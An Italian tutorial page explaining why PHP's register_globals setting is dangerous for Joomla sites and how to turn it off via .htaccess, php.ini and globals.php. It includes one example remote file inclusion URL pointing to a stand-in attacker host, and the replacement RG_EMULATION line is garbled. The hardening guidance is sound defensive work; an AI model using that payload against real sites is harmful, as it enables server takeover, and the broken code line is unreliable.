Pagina principale arrow Tutorial generici arrow Impostare register_globals
Impostare register_globals Translate to English PDF Stampa E-mail
Tutorial

Register globalDalla versione 4.2 di PHP register_globals è impostato automaticamente su stato di off al fine di prevenire problemi di vulnerabilità.
Se la versione di PHP del nostro server è precedente alla 4.2  register_globals è impostato su on è possibile cambiare l’impostazione seguendo alcuni accorgimenti. Naturalmente tutto presuppone che si abbia accesso ad alcuni file importanti di sitema come php.ini o .htaccess, in caso contrario fate sempre riferimento al vostro gestore di servizio hosting chiedendo loro di effettuare, se possibile, le dovute modifiche. 


 

Come detto dovremo modificare il file .htaccess inserendo “php_flag register_globals off”.
Se non si ha accesso al file .htaccess si può cercare di modificare il file php.ini inserendo “register_globals = off

Se non è possibile modificare nè il file .htaccess nè il file php.ini dovete contattare il fornitore del servizio di hosting richiedendo il cambio dell’impostazione.

 
Register Global

La funzione register_globals aiuta gli sviluppatori nella creazione di componenti.
Questa infatti permette a tutti i valori che sono processati dallo script e li mette in variabili. Cio significa che

index.php?nostrafunzione=nostrovalore

crea automaticamente la variabile $nostrafunzione con valore nostrovalore nello script index.php

Come mai questo è un rischio? Principalmente perchè la funzione non controlla il valore.
Così se qualche malintenzinato vuole sovrascrivere il percoso (path) di Joomla! usato per includere file potrebbe agire in questo modo

index.php?mos_config_livesite=http://codice.hacker.abc


In questo caso l'index.php proverà ad includere questo file e caricherà un file dal server. Con questo script, l'intruso avrà accesso al tuo server.
La funzione da sola non è un problema. Se controlliamo ogni variabile prima di usarne il contenuto, siamo praticamente al sicuro, e questo lo sviluppatore attendo vodrà sempre fare.

In Joomla questo è semplice, per gli sviluppatori esiste una funzione chiamata mosGetParam(), che compie tutti i controlli per noi ed è veramente semplice da usare. Se tutti gli sviluppatori usano questa funzione e non il register_globals, avremo realmente pochi problemi di sicurezza.

Come posso impostare il register_globals Off?

Configurazione di Apache/Php

Se hai accesso al file di configurazione del tuo server puoi scrivere impostare il valore come di seguito specificato:

register_globals = Off


Qui è richiesta la necessaria esperienza, o si rischia che il server non risponda più, per poter agire ad esempio sul file .htaccess

In molti server, possiamo configurare apache tramite il file .htaccess Questo file non possono essere letti dal direttamente dal browser web!

Per creare questo file possiamo creare un documento con blocco note o linux (assolutamente non con Word ! , Wordpad altri editor di testo) e inserire la linea

php_flag register_globals off


Se lo salviamo nella cartella principale di Joomla, imposteremo il  register_globals a off eliminando i rischi per la sicurezza

php.ini

Quando il file .htaccess non è accessibile, possiamo usare il file php.ini, (sempre che anche questo sia accessibile a noi).

La linea da inseirire o modificare è la seguente

register_globals = off


Una soluzione potrebbe essere quella di creare un file php.ini da mettere in tutte le cartelle o modificare il file php.ini del server.

Se non abbiamo accesso al php.ini devi richiedere al  provider di hosting se può mettere il register_globals a off.

Se si rifiuta, è consigliabile cambiare hosting, in quanto si tratta di una forma di sicurezza basilare utilizzata da molti anni


Emulazione RG

L'emulazione RG è appunto un'emulazione del register_globals, e permette di risolvere molti problemi di sicurezza di quest'ultimo, permettendo ad alcune applicazioni di funzionare anche se il register_globals è su off.

Purtroppo questa emulazione non risolve tutti i problemi di sicurezza, ed è consigliabile portarla a OFF.

Ciò è possibile semplicemente aprendo il file globals.php che risiede nella cartella principale del sito Joomla, e sostituire la linea

define(’RG_EMULATION’, 1)

con la riga

RG_EMULATION’, 0).

Nota: Con la modifica delle impostazioni del register global alcune estensioni potrebbero perdere delle funzionalità o addirittura non funzionare affatto, ciò è dovuto alle restrizioni di tale funzione che evita che codice scritto male (ad esempio variabili non dichiarate ecc.) possa funzionare, cosa che non accade con l'impostazione del register global ON, impostazione molto più "libertina" che permette di far funzionare anche quel tipo di codice scritto, aumentando però i problemi di sicurezza. Quindi meglio controllare di avere le impostazioni impostate su OFF e dopo cercare aggiornamenti alle estensioni che permettano di funzionare con tale modalità.

 
< Prec.